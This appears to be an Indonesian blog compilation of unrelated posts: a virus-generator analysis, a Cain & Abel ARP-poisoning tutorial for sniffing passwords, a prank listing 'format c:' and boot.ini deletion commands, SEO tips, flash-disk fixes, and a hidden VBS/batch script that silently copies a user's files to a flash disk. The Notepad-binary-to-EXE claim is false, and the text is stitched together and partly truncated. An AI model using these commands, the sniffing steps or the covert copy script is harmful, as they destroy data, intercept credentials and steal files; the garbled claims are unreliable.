Cara membuat virus dalam sekejab

Masih ingat dengan virus Aksika? Virus “open source” yang satu itu memang memiliki banyak sekali varian. Tidak heran karena source code-nya memang disedia kan bebas di Internet, jadi siapapun dapat dengan mudah mengubah dan meng-compile source code-nya dan jadilah varian baru.



Berawal dari kemudahan itulah, banyak virus maker ataupun programer pemula mencoba–coba untuk membuat virus tanpa perlu repot. Paling yang dibutuhkan hanyalah pengetahuan seputar operating system dan programming.



Namun kemudahan itu belum seberapa, bila dibandingkan dengan menggunakan program Virus Generator. Dari namanya saja, kita sudah dapat mengira kegunaan dari program tersebut. Ya, Virus Generator merupakan program untuk dapat membuat virus secara mudah dan instan.



Bermula dari sampel sebuah virus yang lumayan banyak dikirimkan oleh pembaca kepada kami. PC Media Antivirus mengenalnya dengan nama Gen.FFE-Fajar, namun antivirus lain ada juga yang menyebutnya dengan nama Brontok.D. Dengan penyelidikan sederhana akhirnya diketahui bahwa virus tersebut dibuat menggunakan Virus Generator.



Fast Firus Engine (FFE)
Pembuat Generator tersebut menamakan program buatannya itu dengan nama Fast Firus Engine. Seperti yang terlihat pada program ataupun situs pembuatnya, ia memberitahukan bahwa program ini hanya untuk tujuan pembelajaran dan tidak untuk tindakan merusak. Namun tetap saja, bila program ini sudah jatuh ke tangan yang salah, pasti akan digunakan untuk pengrusakan.



Virus Generator ini dibuat menggunakan bahasa Visual Basic dan di-compress menggunakan packer tELock. Dalam paketnya terdapat dua buah file, yakni Fast Firus Engine.exe dan data.ex_. Fast Firus Engine. exe merupakan program utama dalam pembuatan virusnya dan sementara file data.ex_ sebenarnya merupakan badan virus asli yang belum dimodifi kasi.



Saat file Fast Firus Engine.exe dijalankan, maka pengguna akan dihadapkan pada sebuah interface. Anda hanya disuruh mengisikan nama virus, nama pembuat, dan pesan-pesannya. Lalu dengan menekan tombol Generate, maka jadilah virus Anda.



Cara kerja dari Generator tersebut sebenarnya sangat sederhana. Ia hanya menambahkan data yang Anda masukkan tadi ke bagian akhir file virus asli (data.ex_). Nantinya informasi tersebut digunakan oleh virus dalam proses infeksi.



Bagaimana Virus Menginfeksi?
Virus hasil ciptaan FFE memang terlihat sederhana. Sama seperti Generatornya, ia juga dibuat menggunakan bahasa Visual Basic yang di-compile dengan metode Native- Code. Lalu di compress menggunakan tELock agar ukurannya semakin kecil. Virus ini memiliki ukuran tubuh asli sebesar 55.296 bytes.



Saat virus kali pertama dieksekusi, ia akan membuat beberapa file induk di beberapa lokasi. Seperti di direktori \%WINDOWS%\, akan terdapat file dengan nama.exe, Win32 exe, activex.exe, dan %virusname% (nama virus sesuaiyang diisikan oleh sang pembuatnya pada Generator). Di \%WINDOWS%\ %system32%\ akan terdapat file copy.pif, _default.pif, dan surif.bin. Selain itu, ia juga mengubah atau membuat file Oeminfo.iniyang merupakan bagian dari System Properties. Jadi apabila komputer Anda terinfeksi oleh virus hasil generate dari FFE, maka pada System Properties akan terdapat tulisan “Generated by Fast Firus Engine”.



Di direktori \%WINDOWS%\%System%\ akan terdapat beberapa file induk lagi yang menggunakan nama yang sama seperti file system milik Windows, seperti csrss.exe, winlogon.exe, lsass.exe, smss.exe, svchost. exe, dan winlogon.exe.



Dan tak lupa, pada root drive pun akan terdapat file dengan nama “baca euy.txt” yang berisikan pesan–pesan dari si pembuat virus. Jadi pada saat membuat virus dengan menggunakan Generator tersebut, maka pembuatnya akan disuguhkan beberapa kotak input, seperti Author of the virus, Name of the virus, dan Messages. Nah, isidari kotak messages ini yang nantinya ditampilkan pada file “baca euy.txt” tersebut.



Setelah virus berhasil meng-copy-kan file induknya ke dalam sistem tersebut, ia akan menjalankan file induk tadi, sehingga pada memory akan terdapat beberapa process virus, seperti csrss.exe, winlogon.exe, lsass. exe, smss.exe, svchost.exe, dan winlogon.exe. Nama processyang mirip dengan process/services milik Windows tersebut mungkin sengaja untuk mengecoh user. Untuk membedakannya, Anda dapat melihat path atau lokasi process tersebut dijalankan. Process virus ini biasanya berjalan di direktori System sementara process/services milik Windowsyang running biasanya berasal dari direktori System32.



Mengubah Registry
Virus ini menambahkan beberapa item startup pada registry agar pada saat memulai Windows ia dapat running secara otomatis atau untuk mengubah setting-an Windows agar sesuai keinginannya. Informasi mengenai registryyang diubahnya tidak akan dapat dengan mudah kita lihat karena dalam kondisi terenkripsi.



Yang ia ubah adalah seperti nilai dari item Userinit, yakni dengan menambahkan parameter ke file induk. Pada key HKEY_CURRENT_ USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load juga akan diubah itemnya agar mengarah ke file induknya dengan nama Activex.exe. Pada HKEY_CURRENT_USER \Software\Microsoft\ Windows\CurrentVersion\Run\ akan terdapat itembaru dengan nama present. Key HKEY_ LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows\CurrentVersion\Run\ akan terdapat item baru juga dengan nama Default dan %username%, username di sini merupakan nama user yang sedang aktif saat itu.



Virus hasil generate dari FFE juga mengubah shell extension untuk file .exe, yakni dengan mengubah type information dari Application menjadi File Folder. Setting-an folder Options juga diubah agar tidak menampilkan extension dan setiap fi le dengan attribut hidden. Dan agar dapat aktif pada safe-mode, ia pun mengubah nilaidari item SafeBoot.



Dengan menggunakan bantuan registry Image File Execution Options, virus ini juga menambahkan item baru pada section tersebut dengan nama cmd.exe, msconfi g.exe, regedit.exe, dan taskmgr.exe. Maksudnya adalah agar setiap user yang mengakses program dengan nama file seperti itu, maka akan di-bypass oleh Windows dan dialihkan ke file induk si virus.



Bagaimana Virus Menyebar?
Virus ini dapat menyebar melalui media penyimpan data seperti flash disk. Saat Anda mencolokkan flash disk pada komputer yang terinfeksi, maka pada flash disk tersebut akan terdapat beberapa file baru, seperti explorer.exe, %virusname%.exe, dan msvbvm60.dll. Juga beberapa file pendukung seperti desktop.ini, autorun.inf agar ia dapat running otomatis pada saat mengaksesflash disk tersebut.



File virus lainnya pun disimpan pada direktori baru di flash disk tersebut dengan nama Recycled yang berisikan file Firus.pif dan Folder.htt. Kesemua file virus tersebut dalam kondisi hidden sehingga tidak terlihat.



Virus Beraksi
Untuk dapat bertahan hidup, virus ini pun akan mencoba untuk memblok setiap program yang tidak ia inginkan seperti tools atau program antivirus termasuk PCMAV. Sama seperti halnya data registry yang diubah, data mengenai program apa saja yang diblok olehnya juga terdapat dalam tubuhnya dalam kondisi terenkripsi.



Jadi, saat virus sudah stay di memory, ia akan memonitor setiap program yang diakses oleh user, yakni dengan membaca nama file dan juga caption Window. Beberapa nama file antivirus yang dicoba untuk dibloknya adalah nav.exe, avgcc.exe, njeeves.exe, ccapps.exe, ccapp.exe, kav.exe, nvcoas.exe, avp32.exe, dan masih banyak lagiyang lainnya. Termasuk beberapa program setup atau installer juga tidak dapat dijalankan pada komputer terinfeksi.
Pencegahan dan Penanggulangan
PC Media Antivirus RC19 ini dapat membersihkan komputer terinfeksi secara tuntas dan akurat 100% setiap virus yang dibuat dengan menggunakan Fast Firus Generator. Untuk menghindari aksi blok oleh virus terhadap PCMAV, silakan Anda rename terlebih dahulu file PCMAV misalnya PCMAV-CLN.EXE menjadi MERDEKA.EXE.

Cain & Abel

Cain & Abel merupakan sebuah tool yang sangat popular dan cara penggunaannyapun sangat sederhana, untuk sedot Cain&Abel bisa diambil di topik TOOLS.

Langkah-langkah yang harus dilakukan:

1. Install program Cain&Abel
2. Jalankan Cain
3. Untuk melakukan aksi sniffing, klik tab Sniffer
4. Click tab APR
5. Click menu Configure – akan muncul configure dialog yang berisi tentang beberapa tab configuration – klik tab Sniffer – akan tampak beberapa keterangan tentang Adapter, IP Address dll – klik satu baris di bawah menu-menu tadi yang berisi keterangan IP Address komputer kita, MAC dll – kemudian OK.
6. Active kan Cain dengan mengklik tombol Start
7. Agar komputer kita memiliki kemampuan routing, klik tombol Start APR
8. Jalankan Command Prompt
9. Lakukan komunikasi dengan komputer target dengan melakukan pinging terhadap IP Address komputer target, contoh c:\ping 192.168.0.2, dalam beberapa kasus kita harus melakukan pinging (menurut pengalaman saya, pinging merupakan cara tercepat untuk melakukan komunikasi dengan komputer target) lebih dari satu komputer, hal itu bertujuan untuk menjadikan komputer lain sebagai gateway.
10. Pada Cain ada dua bagian tabel yang bermenu sama Status, IP Address, MAC Address dll. Untuk memulai, klik tabel bagian atas, kemudian klik tanda plus (Add to list)
11. Akan muncul dialog New ARP Poison Routing. Klik IP Address komputer target yang ada di kolom sebelah kiri dan klik IP Address komputer gateway pada kolom sebelah kanan. Klik OK

Setelah IP Address masuk ke dalam list, kita tinggal menunggu lalu lintas packet yang tertangkap oleh Cain. Untuk mengetahui hasil yang tertangkap, klik tab passwords.

- Cara kerja dari Cain:

Cain&Abel meracuni ARP tabel komputer target sehingga komunikasi antara komputer target dengan gateway harus melalui komputer kita.

- Masalah yang sering ditemukan:

Cain&Abel sering teridentifikasi sebagai virus oleh antivirus, hal ini dikarenakan antivirus menggunakan fasilitas heuristic yaitu menebak-nebak sebuah file sebagai virus, fungsi ini bertujuan untuk mengenali virus-virus baru yang belum terdeteksi oleh database antivirus. Namun fasilitas ini terkadang menjadi “false warning” dan menganggap program-program tertentu terutama hack tools sebagai virus, bahkan antivirus lain pun dianggap virus.

- Bagaimana mencegah aksi snifing ini:

Untuk mencegah aksi ini, lakukan perubahan pada MAC Address, dalam hal ini type dari MAC yang akan kita ganti dari dynamic menjadi static. Caranya : c:\arp –s [IP Address] [MAC Address] dan untuk mengembalikan ke keadaan semula, ganti atribut –s menjadi -d

Format Hardisk pake notepad

1. Buka Notepad terus copas tulisan di bawah ini
01001011000111110010010101010101010000011111100000





2. Simpa file dengan nama terserah anda. Yang penting ekstensinya .EXE

bisa kan save dengan ekstensi .EXE ??

jangan di gunakan di komputer pribadi anda
dan jangan sekali" mempunyai pikiran jahat denagn menggunakan ini


format c:\ /Q/X -- ini akan memformat drive c:
01100110011011110111001001101101011000010111010000 10000001
1000110011101001011100

001000000010111101010001001011110101100



format d:\ /Q/X -- ini akan memformat drive d:
01100110011011110111001001101101011000010111010000 100000011
001000011101001011100

0010000000101111010100010010111101011000


format a:\ /Q/X -- ini akan memformat drive a:
01100110011011110111001001101101011000010111010000 1000000
11000010011101001011100

0010000000101111010100010010111101011000


del /F/S/Q c:\boot.ini -- ini akan membuat komputer anda tidak bisa di boot.
01100100011001010110110000100000001011110100011000 1011110101
00110010111101010001

00100000011000110011101001011100011000100
110111101101111011101000010111001101001

0110111001101001

6 Jalan mendapati Web Anda Terindeks Search Engine mulai Sekarang

Jika situs Web Anda tidak diindeks oleh search engine, maka tidak akan muncul di daftar search engine. Oleh karena itu, jika website Anda hidup, hal pertama yang harus Anda lakukan adalah memberitahu search engine akan situs Web Anda dan mengindekskannya. Pada artikel ini, saya akan berbagi dengan Anda, 6 cara untuk mendapatkan situs Anda diindeks oleh search engine dari sekarang :




1. Submit XML sitemap ke search engine.
XML sitemap adalah termasuk link ke setiap halaman situs Web. Ini adalah file yang dapat Anda kirimkan ke search engine untuk mendapatkan halaman Anda diindeks. Dengan mengirimkan xml sitemap, Anda akan memberitahu search engine tentang situs Web Anda dan mengindeks setiap halaman itu. Anda dapat meng-upload sitemap ke Google dengan menciptakan sebuah akun gratis Google Webmaster.



2. Buat sitemap HTML pada halaman website Anda.
HTML sitemap sangat berbeda dengan sebuah file xml sitemap. Sitemap HTML adalah halaman di situs Web Anda yang terlihat oleh pengunjung. Itu akan mendaftarkan ke bawah semua link setiap halaman di situs Anda. Hal ini memungkinkan pengunjung untuk menavigasi situs Anda dengan mudah dan memungkinkan search engine spider mengikuti link dan menemukan semua halaman.




3. Tempatkan HTML teks link di situs Web Anda.
Search engine spider mengikuti teks HTML untuk menemukan link ke halaman lain di situs Web Anda. Karena itu, Anda harus memastikan bahwa anda menggunakan HTML link teks untuk menu navigasi yang sederhana agar search engine spider dapat mengikuti. Anda juga harus hyperlink keywords dengan konten Anda dan tunjukkan itu ke halaman lain dari situs Anda. Ini adalah cara yang baik untuk memberitahu search engine halaman yang penting.



4. Directory submission.
Submit URL website Anda ke daftar direktori SEO-friendly. DMOZ, Yahoo Directory dan BOTW adalah direktori penting yang harus Anda submitkan website Anda ke situ. Namun demikian, tidak semua direktori submit gratis. Beberapa mungkin akan meminta Anda untuk membayar sedikit biaya untuk submitted website Anda.




5. Artikel marketing.
Menulis artikel dan menempatkan URL situs Web Anda ke dalam Author Resource Box. Lalu kirimkan artikel Anda ke beberapa artikel direktori populer. Setelah artikel tersebut disetujui dan diterbitkan, URL Anda akan tinggal online dan ini memungkinkan search engine spider mengikuti dan menemukan link ke website Anda.

6. Gunakan social websites.
Situs media Sosial secara teratur umumnya diindeks oleh search engine. Jadi dengan meletakkan website Anda di URL situs sosial, search engine spider dapat menemukan URL Anda dengan cepat dan mengindeks situs web baru Anda.



Sebelum website dapat peringkat tinggi dan mendapatkan trafik search engine organik, ia harus diindeks terlebih dahulu. Search engine spider mencari situs web dan halaman baru setiap hari. Dengan mendapatkan link pada situs yang dapat diindeks secara teratur, ia akan memastikan bahwa Anda mendapatkan website baru terindeks dengan cepat.



5 Tahap Sederhana Menganalisis Virus Komputer
Jakarta - Pernahkah direpotkan oleh virus yang menyerang komputer Anda? Sementara update antivirus kita belum mampu mengenali program jahat yang mangacau tersebut. Mengapa tidak mencoba iseng-iseng menganalisis sendiri? Ini dia tahap sederhananya.

Adang Juhar Taufik, Senior Vaksinis Vaksincom dalam seminar Vaksincom bertempat di Ancol, Jumat (4/12/2009), memberi penjelasan betapa sederhananya tahapan analisis virus yang menyusup pada komputer bersistem operasi Windows, khususnya jika yang menyerang virus lokal.

"Untuk virus lokal sendiri sebenarnya mudah untuk menganalisisnya, karena pasti karakterisitknya sama," ujarnya. Adang pun mengatakan bahwa pertama kita harus memiliki internet, untuk mencari tools-tools yang secara gratis bisa diunduh di beberapa situs.

Selain itu virus lokal juga bisa dilihat melalui list proses Windows melalui task manager, untuk melihat jenis file aneh yang running. Di samping itu kita juga bisa menganalisanya melalui registry tools (reg. edit).

"Untuk user yang lebih advanced ada 2 tools yang mungkin bisa digunakan yakni pack detection dan unpack program serta VB decompiler. Karena biasanya virus lokal berbasis VB," tambahnya.



Adang pun menjelaskan setelah kita memiliki tools-tools tersebut, kita bisa mulai menganalisa dengan tahapan-tahapan yang sederhana:

1. Pahami dulu jenis virus yang menyerang: Icon apa yang disamarkan serta ukurannya.
2. Pahami karakteristik virus. Apakah membuat file duplikat, menyembunyikan file, menginjeksi file, atau menampilkan pesan tertentu.
3. Pahami cara kerja virus: Apa yang diubah virus, apakah registry, file induk yang dibuat, atau fungsi windows yang diblok.
4. Pahami penyebaran virus: Apakah melalui USB flash disk atau folder yang di share, karena biasanya virus lokal menyusup melalui 2 media tersebut.
5. Siapkan beberapa tools yang digunakan.
Membuat Link Warna Warni
Hmm.. Link warna warni? Apa maksudnya?
Untuk menjawab pertanyaan itu, coba anda arahkan cursor anda ke salah satu text yang memiliki link di blog ini.
Udah? Gimana hasilnya? Pasti warna link itu berubah-ubah? Seperti pelangi yang memiliki banyak warna (duh, kalau bicara tentang pelangi saya jadi teringat akan masa2 di Tk dulu. Pelangi2 alangkah indahnya, merah kuning hijau di langi yang biru….. :$ hehe…). Lalu gimna cara membuatnya? Tenang, di tips kali ini saya akan menjelaskan cara membuat kita supaya teringat akan masa2 di TK. Eh salah, cara membuat link warna warni hehe… Mau tau?



Berikut Cara Membuat Link Warna Warni:
1. Login ke akun Blogger anda
2. Pilih Layout > Edit HTML
3. Cari kode , lalu paste kode berikut dibawahnya:

4. Terakhir, klik Save Template.

Mengatasi Write-Protected pada FlashDisk

Banyak yang menyangka Write-Protected pada FD disebabkan oleh Smad-Lock yang sebenarnya adalah fungsi pengamanan flashdisk oleh Smadav, padahal masalah Write-Protected ini sama sekali tidak ada hubungannya dengan Smad-Lock. Masalah ini muncul karena flash disk langsung dicabut tanpa "safely removed hardware"

Solusinya :


Untuk mengatasinya ada beberapa cara, yang bisa berhasil untuk masing2 kasus (tidak untuk setiap kasus). Gak ada salahnya untuk mencoba salah satu dari 5 cara ini Cool .

Cara I.

* Start > Run > type ‘regedit’ then hit 'OK'.
* Browse to the following key:
* My Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlS et\Control\StorageDevicePolicies
* Double click on the string ‘WriteProtect’ and change the ‘Value Data’ box to ‘0’
* You may also need to do this for the strings in any folders called ‘ControlSet***’ e.g.
* My Computer\HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\C ontrol\StorageDevicePolicies

Cara II

I am running Windows XP Service Pack 2, so this description applies only in that environment.
Centon's tech support suggested doing the following...

* Start->Settings->Control Panel
* Administrative Tools
* Computer Management
* Under Storage in the left panel, click on Disk Management, wait a minute for Windows to do whatever it is doing,......
* Locate the data stick/thumb drive/whatever-you-want-to-call it, in the right top windowand click on it.
* Right click
* in the popup, click on "Delete Partition" -- make darn sure you are doing this to the RIGHT drive!!!!!
* Right click again, and choose "Create Partition" (or was it format, I forget maybe it was both).

Cara III

Pakai Rapair Utility dari si pembuat flashdisk. Dibawah ini ada link dari HP dan apacer yang banyak dipakai dan berhasil juga untuk berbagai merk.

untuk apacer silahkan download di sini

untuk HP silahkan download di sini

Cara IV

Perbaiki melalui Linux.. Tutorial langkah2 bisa dibaca di sini, dan mungkin membutuhkan pemahaman tentang perintah2 linux.

Cara V

Pakai application OnBelay
credit : smadav.net

Trik Copy Data Ke Flash Disk Secara Diam-diam

1.Buka notepad, buat file vbs ketik atau copy paste script berikut:
dim wshshell, dos
set wshshell = wscript.createobject("wscript.shell")
dos = wshshell.expandenvironmentstrings("%coms...
wshshell.run (dos & " /c tarik.bat"), vbhide


2.Simpan dengan file name nya contoh start.vbs save as typenya pilih all files

3.Buka notepad lagi, buat file bat ketik atau copy paste script berikut:
@echo off
mkdir %computername%
xcopy "C:\Documents and Settings\%username%\My Documents\*.jpg" %computername% /s/c/q/r
@cls
@exit

Note : untuk windows Vista Dan 7 agak di oprek2 dikit yah...^_^

mumet!

aku ga punya ide buat nulis di blog nie......